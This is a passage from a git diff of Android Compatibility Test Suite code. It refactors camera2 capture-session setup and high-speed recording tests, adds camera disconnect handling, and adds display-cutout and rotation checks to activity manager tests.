+ precorrectionArray.contains(activeArray.left, activeArray.top) &&
+ precorrectionArray.contains(activeArray.right-1, activeArray.bottom-1));
+
+ // Verify pixel array encloses pre-correction array
+ mCollector.expectTrue("preCorrectionArray [" + precorrectionArray.left + ", " +
+ precorrectionArray.top + ", " + precorrectionArray.right + ", " +
+ precorrectionArray.bottom + "] isn't enclosed by pixelArray[" +
+ pixelArraySize.getWidth() + ", " + pixelArraySize.getHeight() + "]",
+ precorrectionArray.left >= 0 &&
+ precorrectionArray.left < pixelArraySize.getWidth() &&
+ precorrectionArray.right > 0 &&
+ precorrectionArray.right <= pixelArraySize.getWidth() &&
+ precorrectionArray.top >= 0 &&
+ precorrectionArray.top < pixelArraySize.getHeight() &&
+ precorrectionArray.bottom > 0 &&
+ precorrectionArray.bottom <= pixelArraySize.getHeight());
if (supportDepth) {
mCollector.expectTrue("Supports DEPTH_OUTPUT but does not support DEPTH16",
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 5bf722c..651b8b6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -306,8 +306,7 @@
}
public void testConstrainedHighSpeedRecording() throws Exception {
- constrainedHighSpeedRecording(/*enableSessionParams*/ false);
- constrainedHighSpeedRecording(/*enableSessionParams*/ true);
+ constrainedHighSpeedRecording();
}
public void testAbandonedHighSpeedRequest() throws Exception {
@@ -649,8 +648,7 @@
// Start recording
SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
startSlowMotionRecording(/*useMediaRecorder*/true, videoFramerate, captureRate,
- fpsRange, resultListener, /*useHighSpeedSession*/false,
- /*enableHighSpeedParams*/ false);
+ fpsRange, resultListener, /*useHighSpeedSession*/false);
// Record certain duration.
SystemClock.sleep(RECORDING_DURATION_MS);
@@ -672,7 +670,7 @@
}
}
- private void constrainedHighSpeedRecording(boolean enableSessionParams) throws Exception {
+ private void constrainedHighSpeedRecording() throws Exception {
for (String id : mCameraIds) {
try {
Log.i(TAG, "Testing constrained high speed recording for camera " + id);
@@ -725,8 +723,7 @@
// Start recording
startSlowMotionRecording(/*useMediaRecorder*/true, VIDEO_FRAME_RATE,
captureRate, fpsRange, resultListener,
- /*useHighSpeedSession*/true,
- /*enableHighSpeedParams*/ enableSessionParams);
+ /*useHighSpeedSession*/true);
// Record certain duration.
SystemClock.sleep(RECORDING_DURATION_MS);
@@ -812,24 +809,25 @@
assertTrue("Preview surface should be valid", mPreviewSurface.isValid());
outputSurfaces.add(mPreviewSurface);
mSessionListener = new BlockingSessionCallback();
- mSession = configureCameraSession(mCamera, outputSurfaces, /*isHighSpeed*/ true,
- mSessionListener, mHandler);
List<CaptureRequest> slowMoRequests = null;
CaptureRequest.Builder requestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_RECORD);
requestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, fpsRange);
requestBuilder.addTarget(mPreviewSurface);
+ CaptureRequest initialRequest = requestBuilder.build();
+ mSession = buildConstrainedCameraSession(mCamera, outputSurfaces, mSessionListener,
+ mHandler, initialRequest);
slowMoRequests = ((CameraConstrainedHighSpeedCaptureSession) mSession).
- createHighSpeedRequestList(requestBuilder.build());
+ createHighSpeedRequestList(initialRequest);
mSession.setRepeatingBurst(slowMoRequests, listener, mHandler);
}
private void startSlowMotionRecording(boolean useMediaRecorder, int videoFrameRate,
int captureRate, Range<Integer> fpsRange,
- CameraCaptureSession.CaptureCallback listener, boolean useHighSpeedSession,
- boolean enableHighSpeedParams) throws Exception {
+ CameraCaptureSession.CaptureCallback listener, boolean useHighSpeedSession)
+ throws Exception {
List<Surface> outputSurfaces = new ArrayList<Surface>(2);
assertTrue("Both preview and recording surfaces should be valid",
mPreviewSurface.isValid() && mRecordingSurface.isValid());
@@ -840,13 +838,6 @@
outputSurfaces.add(mReaderSurface);
}
mSessionListener = new BlockingSessionCallback();
- if (useHighSpeedSession && enableHighSpeedParams) {
- mSession = buildConstrainedCameraSession(mCamera, outputSurfaces, useHighSpeedSession,
- mSessionListener, mHandler);
- } else {
- mSession = configureCameraSession(mCamera, outputSurfaces, useHighSpeedSession,
- mSessionListener, mHandler);
- }
// Create slow motion request list
List<CaptureRequest> slowMoRequests = null;
@@ -856,8 +847,11 @@
requestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, fpsRange);
requestBuilder.addTarget(mPreviewSurface);
requestBuilder.addTarget(mRecordingSurface);
+ CaptureRequest initialRequest = requestBuilder.build();
+ mSession = buildConstrainedCameraSession(mCamera, outputSurfaces, mSessionListener,
+ mHandler, initialRequest);
slowMoRequests = ((CameraConstrainedHighSpeedCaptureSession) mSession).
- createHighSpeedRequestList(requestBuilder.build());
+ createHighSpeedRequestList(initialRequest);
} else {
CaptureRequest.Builder recordingRequestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_RECORD);
@@ -881,8 +875,12 @@
recordingOnlyBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, fpsRange);
recordingOnlyBuilder.addTarget(mRecordingSurface);
+ CaptureRequest initialRequest = recordingRequestBuilder.build();
+ mSession = configureCameraSessionWithParameters(mCamera, outputSurfaces,
+ mSessionListener, mHandler, initialRequest);
+
slowMoRequests = new ArrayList<CaptureRequest>();
- slowMoRequests.add(recordingRequestBuilder.build());// Preview + recording.
+ slowMoRequests.add(initialRequest);// Preview + recording.
for (int i = 0; i < slowMotionFactor - 1; i++) {
slowMoRequests.add(recordingOnlyBuilder.build()); // Recording only.
@@ -1510,7 +1508,6 @@
outputSurfaces.add(mReaderSurface);
}
mSessionListener = new BlockingSessionCallback();
- mSession = configureCameraSession(mCamera, outputSurfaces, mSessionListener, mHandler);
CaptureRequest.Builder recordingRequestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_RECORD);
@@ -1525,7 +1522,10 @@
}
recordingRequestBuilder.addTarget(mRecordingSurface);
recordingRequestBuilder.addTarget(mPreviewSurface);
- mSession.setRepeatingRequest(recordingRequestBuilder.build(), listener, mHandler);
+ CaptureRequest recordingRequest = recordingRequestBuilder.build();
+ mSession = configureCameraSessionWithParameters(mCamera, outputSurfaces, mSessionListener,
+ mHandler, recordingRequest);
+ mSession.setRepeatingRequest(recordingRequest, listener, mHandler);
if (useMediaRecorder) {
mMediaRecorder.start();
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index 0ef1856..e77ad79 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -521,6 +521,10 @@
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
continue;
}
+ if (mStaticInfo.isExternalCamera()) {
+ Log.i(TAG, "Camera " + id + " is external, skipping");
+ continue;
+ }
focalLengthTestByCamera();
} finally {
closeDevice();
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index 48c84ce..ae06f3d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -72,7 +72,6 @@
protected Handler mHandler;
private CameraManager mCameraManager;
- private BlockingStateCallback mCameraListener;
private HandlerThread mHandlerThread;
private Context mContext;
@@ -97,7 +96,6 @@
mHandlerThread = new HandlerThread(TAG);
mHandlerThread.start();
mHandler = new Handler(mHandlerThread.getLooper());
- mCameraListener = new BlockingStateCallback();
Camera2MultiViewCtsActivity activity = (Camera2MultiViewCtsActivity) mContext;
for (int i = 0; i < Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS; i++) {
mTextureView[i] = activity.getTextureView(i);
@@ -125,7 +123,6 @@
mCameraIds.length == cameraIdsPostTest.length);
mHandlerThread.quitSafely();
mHandler = null;
- mCameraListener = null;
for (CameraHolder camera : mCameraHolders) {
if (camera.isOpened()) {
camera.close();
@@ -411,6 +408,8 @@
// Per device fields
private class CameraHolder {
private String mCameraId;
+ private CameraStateListener mCameraStateListener;
+ private BlockingStateCallback mBlockingStateListener;
private CameraCaptureSession mSession;
private CameraDevice mCamera;
private StaticMetadata mStaticInfo;
@@ -419,6 +418,7 @@
public CameraHolder(String id){
mCameraId = id;
+ mCameraStateListener = new CameraStateListener();
}
public StaticMetadata getStaticInfo() {
@@ -429,10 +429,34 @@
return mOrderedPreviewSizes;
}
+ class CameraStateListener extends CameraDevice.StateCallback {
+ boolean mDisconnected = false;
+
+ @Override
+ public void onOpened(CameraDevice camera) {
+ }
+
+ @Override
+ public void onDisconnected(CameraDevice camera) {
+ synchronized(this) {
+ mDisconnected = true;
+ }
+ }
+
+ @Override
+ public void onError(CameraDevice camera, int error) {
+ }
+
+ public synchronized boolean isDisconnected() {
+ return mDisconnected;
+ }
+ }
+
public void open() throws Exception {
assertNull("Camera is already opened", mCamera);
+ mBlockingStateListener = new BlockingStateCallback(mCameraStateListener);
mCamera = (new BlockingCameraManager(mCameraManager)).openCamera(
- mCameraId, mCameraListener, mHandler);
+ mCameraId, mBlockingStateListener, mHandler);
mStaticInfo = new StaticMetadata(mCameraManager.getCameraCharacteristics(mCameraId),
CheckLevel.ASSERT, /*collector*/null);
if (mStaticInfo.isColorOutputSupported()) {
@@ -444,7 +468,7 @@
}
public boolean isOpened() {
- return (mCamera != null);
+ return (mCamera != null && !mCameraStateListener.isDisconnected());
}
public void close() throws Exception {
@@ -452,11 +476,12 @@
return;
}
mCamera.close();
- mCameraListener.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
+ mBlockingStateListener.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
mCamera = null;
mSession = null;
mStaticInfo = null;
mOrderedPreviewSizes = null;
+ mBlockingStateListener = null;
}
public void startPreview(List<Surface> outputSurfaces, CaptureCallback listener)
@@ -552,6 +577,9 @@
public void stopPreview() throws Exception {
if (VERBOSE) Log.v(TAG,
"Stopping camera " + mCameraId +" preview and waiting for idle");
+ if (!isOpened()) {
+ return;
+ }
// Stop repeat, wait for captures to complete, and disconnect from surfaces
mSession.close();
mSessionListener.getStateWaiter().waitForState(
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 9efccf1..81b42ef 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -194,6 +194,13 @@
* Terminates the message looper thread.
*/
private void terminateMessageLooper() throws Exception {
+ terminateMessageLooper(false);
+ }
+
+ /*
+ * Terminates the message looper thread, optionally allowing evict error
+ */
+ private void terminateMessageLooper(boolean allowEvict) throws Exception {
mLooper.quit();
// Looper.quit() is asynchronous. The looper may still has some
// preview callbacks in the queue after quit is called. The preview
@@ -203,7 +210,13 @@
mLooper.getThread().join();
mCamera.release();
mCamera = null;
- assertEquals("Got camera error callback.", NO_ERROR, mCameraErrorCode);
+ if (allowEvict) {
+ assertTrue("Got unexpected camera error callback.",
+ (NO_ERROR == mCameraErrorCode ||
+ Camera.CAMERA_ERROR_EVICTED == mCameraErrorCode));
+ } else {
+ assertEquals("Got camera error callback.", NO_ERROR, mCameraErrorCode);
+ }
}
// Align 'x' to 'to', which should be a power of 2
@@ -2501,7 +2514,7 @@
mCamera.stopPreview();
firstLooper.quit();
- terminateMessageLooper();
+ terminateMessageLooper(true/*allowEvict*/);
}
// This callback just signals on the condition variable, making it useful for checking that
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 84071fc..f0714e1 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -110,7 +110,7 @@
public static final int SESSION_CONFIGURE_TIMEOUT_MS = 3000;
public static final int SESSION_CLOSE_TIMEOUT_MS = 3000;
- public static final int SESSION_READY_TIMEOUT_MS = 3000;
+ public static final int SESSION_READY_TIMEOUT_MS = 5000;
public static final int SESSION_ACTIVE_TIMEOUT_MS = 1000;
public static final int MAX_READER_IMAGES = 5;
@@ -788,16 +788,13 @@
* @param camera The CameraDevice to be configured.
* @param outputSurfaces The surface list that used for camera output.
* @param listener The callback CameraDevice will notify when capture results are available.
+ * @param initialRequest Initial request settings to use as session parameters.
*/
public static CameraCaptureSession buildConstrainedCameraSession(CameraDevice camera,
- List<Surface> outputSurfaces, boolean isHighSpeed,
- CameraCaptureSession.StateCallback listener, Handler handler)
- throws CameraAccessException {
+ List<Surface> outputSurfaces, CameraCaptureSession.StateCallback listener,
+ Handler handler, CaptureRequest initialRequest) throws CameraAccessException {
BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
- CaptureRequest.Builder builder = camera.createCaptureRequest(CameraDevice.TEMPLATE_RECORD);
- CaptureRequest recordSessionParams = builder.build();
-
List<OutputConfiguration> outConfigurations = new ArrayList<>(outputSurfaces.size());
for (Surface surface : outputSurfaces) {
outConfigurations.add(new OutputConfiguration(surface));
@@ -805,7 +802,7 @@
SessionConfiguration sessionConfig = new SessionConfiguration(
SessionConfiguration.SESSION_HIGH_SPEED, outConfigurations,
new HandlerExecutor(handler), sessionListener);
- sessionConfig.setSessionParameters(recordSessionParams);
+ sessionConfig.setSessionParameters(initialRequest);
camera.createCaptureSession(sessionConfig);
CameraCaptureSession session =
@@ -867,6 +864,37 @@
return session;
}
+ /**
+ * Configure a new camera session with output surfaces and initial session parameters.
+ *
+ * @param camera The CameraDevice to be configured.
+ * @param outputSurfaces The surface list that used for camera output.
+ * @param listener The callback CameraDevice will notify when session is available.
+ * @param handler The handler used to notify callbacks.
+ * @param initialRequest Initial request settings to use as session parameters.
+ */
+ public static CameraCaptureSession configureCameraSessionWithParameters(CameraDevice camera,
+ List<Surface> outputSurfaces, BlockingSessionCallback listener,
+ Handler handler, CaptureRequest initialRequest) throws CameraAccessException {
+ List<OutputConfiguration> outConfigurations = new ArrayList<>(outputSurfaces.size());
+ for (Surface surface : outputSurfaces) {
+ outConfigurations.add(new OutputConfiguration(surface));
+ }
+ SessionConfiguration sessionConfig = new SessionConfiguration(
+ SessionConfiguration.SESSION_REGULAR, outConfigurations,
+ new HandlerExecutor(handler), listener);
+ sessionConfig.setSessionParameters(initialRequest);
+ camera.createCaptureSession(sessionConfig);
+
+ CameraCaptureSession session = listener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+ assertFalse("Camera session should not be a reprocessable session",
+ session.isReprocessable());
+ assertFalse("Capture session type must be regular",
+ CameraConstrainedHighSpeedCaptureSession.class.isAssignableFrom(
+ session.getClass()));
+
+ return session;
+ }
/**
* Configure a new camera session with output surfaces.
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 0d0e592..646dfe7 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -2357,6 +2357,26 @@
}
/**
+ * Check if distortion correction is supported.
+ */
+ public boolean isDistortionCorrectionSupported() {
+ boolean distortionCorrectionSupported = false;
+ int[] distortionModes = mCharacteristics.get(
+ CameraCharacteristics.DISTORTION_CORRECTION_AVAILABLE_MODES);
+ if (distortionModes == null) {
+ return false;
+ }
+
+ for (int mode : distortionModes) {
+ if (mode != CaptureRequest.DISTORTION_CORRECTION_MODE_OFF) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ /**
* Get the value in index for a fixed-size array from a given key.
*
* <p>If the camera device is incorrectly reporting values, log a warning and return
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
index d9f7589..a148b32 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
@@ -22,7 +22,9 @@
import static android.server.am.Components.BroadcastReceiverActivity.EXTRA_DISMISS_KEYGUARD_METHOD;
import static android.server.am.Components.BroadcastReceiverActivity.EXTRA_FINISH_BROADCAST;
import static android.server.am.Components.BroadcastReceiverActivity.EXTRA_MOVE_BROADCAST_TO_BACK;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
+import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES;
import android.app.Activity;
import android.app.KeyguardManager;
@@ -32,6 +34,9 @@
import android.content.IntentFilter;
import android.os.Bundle;
import android.util.Log;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.Window;
/**
* Activity that registers broadcast receiver .
@@ -48,6 +53,20 @@
IntentFilter broadcastFilter = new IntentFilter(ACTION_TRIGGER_BROADCAST);
registerReceiver(mBroadcastReceiver, broadcastFilter);
+
+ // Determine if a display cutout is present
+ final View view = new View(this);
+ getWindow().requestFeature(Window.FEATURE_NO_TITLE);
+ getWindow().getAttributes().layoutInDisplayCutoutMode =
+ LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES;
+ view.setLayoutParams(new ViewGroup.LayoutParams(MATCH_PARENT, MATCH_PARENT));
+ view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
+ | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION);
+ view.setOnApplyWindowInsetsListener((v, insets) -> {
+ Log.i(getClass().getSimpleName(), "cutout=" + (insets.getDisplayCutout() != null));
+ return insets;
+ });
+ setContentView(view);
}
@Override
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index 1d2bd3e..1ea220a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -67,11 +67,6 @@
*/
public class ActivityManagerActivityVisibilityTests extends ActivityManagerTestBase {
- // TODO(b/70247058): Use {@link Context#sendBroadcast(Intent).
- // Shell command to finish {@link #BROADCAST_RECEIVER_ACTIVITY}.
- private static final String FINISH_ACTIVITY_BROADCAST = "am broadcast -a "
- + ACTION_TRIGGER_BROADCAST + " --ez " + EXTRA_FINISH_BROADCAST + " true";
-
@Rule
public final DisableScreenDozeRule mDisableScreenDozeRule = new DisableScreenDozeRule();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
index 0ce9dcf..0cef20f 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
@@ -28,7 +28,6 @@
import static android.server.am.Components.BROADCAST_RECEIVER_ACTIVITY;
import static android.server.am.Components.BroadcastReceiverActivity.ACTION_TRIGGER_BROADCAST;
import static android.server.am.Components.BroadcastReceiverActivity.EXTRA_BROADCAST_ORIENTATION;
-import static android.server.am.Components.BroadcastReceiverActivity.EXTRA_FINISH_BROADCAST;
import static android.server.am.Components.BroadcastReceiverActivity.EXTRA_MOVE_BROADCAST_TO_BACK;
import static android.server.am.Components.DIALOG_WHEN_LARGE_ACTIVITY;
import static android.server.am.Components.LANDSCAPE_ORIENTATION_ACTIVITY;
@@ -54,6 +53,7 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.content.ComponentName;
@@ -73,9 +73,6 @@
public class ActivityManagerAppConfigurationTests extends ActivityManagerTestBase {
// TODO(b/70247058): Use {@link Context#sendBroadcast(Intent).
- // Shell command to finish {@link #BROADCAST_RECEIVER_ACTIVITY}.
- private static final String FINISH_ACTIVITY_BROADCAST = "am broadcast -a "
- + ACTION_TRIGGER_BROADCAST + " --ez " + EXTRA_FINISH_BROADCAST + " true";
// Shell command to move {@link #BROADCAST_RECEIVER_ACTIVITY} task to back.
private static final String MOVE_TASK_TO_BACK_BROADCAST = "am broadcast -a "
+ ACTION_TRIGGER_BROADCAST + " --ez " + EXTRA_MOVE_BROADCAST_TO_BACK + " true";
@@ -643,6 +640,9 @@
@Test
public void testFixedOrientationWhenRotating() throws Exception {
assumeTrue("Skipping test: no rotation support", supportsRotation());
+ // TODO(b/110533226): Fix test on devices with display cutout
+ assumeFalse("Skipping test: display cutout present, can't predict exact lifecycle",
+ hasDisplayCutout());
// Start portrait-fixed activity
LogSeparator logSeparator = separateLogs();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
index 30ed944..f041ebd 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
@@ -21,12 +21,20 @@
import static android.server.am.Components.FONT_SCALE_ACTIVITY;
import static android.server.am.Components.FONT_SCALE_NO_RELAUNCH_ACTIVITY;
import static android.server.am.Components.NO_RELAUNCH_ACTIVITY;
+import static android.server.am.Components.RESIZEABLE_ACTIVITY;
import static android.server.am.Components.TEST_ACTIVITY;
import static android.server.am.StateLogger.log;
import static android.server.am.StateLogger.logE;
+import static android.view.Surface.ROTATION_0;
+import static android.view.Surface.ROTATION_180;
+import static android.view.Surface.ROTATION_270;
+import static android.view.Surface.ROTATION_90;
+import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
import android.content.ComponentName;
import android.platform.test.annotations.Presubmit;
@@ -49,24 +57,39 @@
@Test
public void testRotation90Relaunch() throws Exception{
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+
// Should relaunch on every rotation and receive no onConfigurationChanged()
testRotation(TEST_ACTIVITY, 1, 1, 0);
}
@Test
public void testRotation90NoRelaunch() throws Exception {
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+
// Should receive onConfigurationChanged() on every rotation and no relaunch
testRotation(NO_RELAUNCH_ACTIVITY, 1, 0, 1);
}
+ // TODO(b/110382028): Fix relaunch testing and use an activity that doesn't handle config change
@Test
public void testRotation180Relaunch() throws Exception {
- // Should receive nothing
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+ // TODO(b/110533226): Fix test on devices with display cutout
+ assumeFalse("Skipping test: display cutout present, can't predict exact lifecycle",
+ hasDisplayCutout());
+
+ // Should receive a relaunch
testRotation(TEST_ACTIVITY, 2, 0, 0);
}
@Test
public void testRotation180NoRelaunch() throws Exception {
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+ // TODO(b/110533226): Fix test on devices with display cutout
+ assumeFalse("Skipping test: display cutout present, can't predict exact lifecycle",
+ hasDisplayCutout());
+
// Should receive nothing
testRotation(NO_RELAUNCH_ACTIVITY, 2, 0, 0);
}
@@ -87,6 +110,54 @@
testChangeFontScale(FONT_SCALE_NO_RELAUNCH_ACTIVITY, false /* relaunch */);
}
+ /**
+ * Test activity configuration changes for devices with cutout(s). Landscape and
+ * reverse-landscape rotations should result in same screen space available for apps.
+ */
+ @Test
+ public void testConfigChangeWhenRotatingWithCutout() throws Exception {
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+ assumeTrue("Skipping test: no display cutout", hasDisplayCutout());
+
+ // Start an activity that handles config changes
+ launchActivity(RESIZEABLE_ACTIVITY);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
+ final int displayId = mAmWmState.getAmState().getDisplayByActivity(RESIZEABLE_ACTIVITY);
+
+ // 0 - 180 rotation or 270 - 90 rotation should have same screen space
+ boolean configSame0_180 = false, configSame270_90 = false;
+ final int[] cutoutRotations = { ROTATION_180, ROTATION_90, ROTATION_270 };
+
+ // Rotate the activity and check that the orientation doesn't change at least once
+ try (final RotationSession rotationSession = new RotationSession()) {
+ rotationSession.set(ROTATION_0);
+
+ final ReportedSizes[] sizes = new ReportedSizes[cutoutRotations.length];
+ for (int i = 0; i < cutoutRotations.length; i++) {
+ final int rotation = cutoutRotations[i];
+ final LogSeparator logSeparator = separateLogs();
+ rotationSession.set(rotation);
+ final int newDeviceRotation = getDeviceRotation(displayId);
+ if (rotation != newDeviceRotation) {
+ log("This device doesn't support locked user "
+ + "rotation mode. Not continuing the rotation checks.");
+ continue;
+ }
+
+ // Record configuration changes on rotations between opposite orientations
+ sizes[i] = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY, logSeparator);
+ if (i == 0) {
+ configSame0_180 = sizes[i] == null;
+ } else if (i == 2) {
+ configSame270_90 = sizes[i] == null;
+ }
+ }
+
+ assertThat("A device with cutout should have same available screen space in "
+ + "landscape and reverse-landscape", configSame0_180 || configSame270_90);
+ }
+ }
+
private void testRotation(ComponentName activityName, int rotationStep, int numRelaunch,
int numConfigChange) throws Exception {
launchActivity(activityName);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index d853788..90658e5 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
@@ -83,9 +83,6 @@
public class ActivityManagerMultiDisplayTests extends ActivityManagerDisplayTestBase {
// TODO(b/70247058): Use {@link Context#sendBroadcast(Intent).
- // Shell command to finish {@link #BROADCAST_RECEIVER_ACTIVITY}.
- private static final String FINISH_ACTIVITY_BROADCAST = "am broadcast -a "
- + ACTION_TRIGGER_BROADCAST + " --ez " + EXTRA_FINISH_BROADCAST + " true";
// Shell command to launch activity via {@link #BROADCAST_RECEIVER_ACTIVITY}.
private static final String LAUNCH_ACTIVITY_BROADCAST = "am broadcast -a "
+ ACTION_TRIGGER_BROADCAST + " --ez " + KEY_LAUNCH_ACTIVITY + " true --ez "
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
index c1c3cf0..ae483d8 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -468,8 +468,8 @@
// Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
// going home has the correct app transition
try (final RotationSession rotationSession = new RotationSession()) {
- for (int i = 0; i < 4; i++) {
- rotationSession.set(i);
+ for (int rotation = ROTATION_0; rotation <= ROTATION_270; rotation++) {
+ rotationSession.set(rotation);
launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY);
if (mIsHomeRecentsComponent) {
@@ -491,7 +491,8 @@
assertNotEquals(
TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
pressHomeButton();
- mAmWmState.computeState(true);
+ mAmWmState.waitForHomeActivityVisible();
+
assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
}
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
index e79c13b..a53993b 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
@@ -65,9 +65,6 @@
// Shell command to dismiss keyguard via {@link #BROADCAST_RECEIVER_ACTIVITY} method.
private static final String DISMISS_KEYGUARD_METHOD_BROADCAST = "am broadcast -a "
+ ACTION_TRIGGER_BROADCAST + " --ez " + EXTRA_DISMISS_KEYGUARD_METHOD + " true";
- // Shell command to finish {@link #BROADCAST_RECEIVER_ACTIVITY}.
- private static final String FINISH_ACTIVITY_BROADCAST = "am broadcast -a "
- + ACTION_TRIGGER_BROADCAST + " --ez " + EXTRA_FINISH_BROADCAST + " true";
@Before
@Override
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index fcca246..8ea430c 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -48,6 +48,9 @@
import static android.server.am.ActivityManagerState.STATE_RESUMED;
import static android.server.am.ComponentNameUtils.getActivityName;
import static android.server.am.ComponentNameUtils.getLogTag;
+import static android.server.am.Components.BROADCAST_RECEIVER_ACTIVITY;
+import static android.server.am.Components.BroadcastReceiverActivity.ACTION_TRIGGER_BROADCAST;
+import static android.server.am.Components.BroadcastReceiverActivity.EXTRA_FINISH_BROADCAST;
import static android.server.am.Components.LAUNCHING_ACTIVITY;
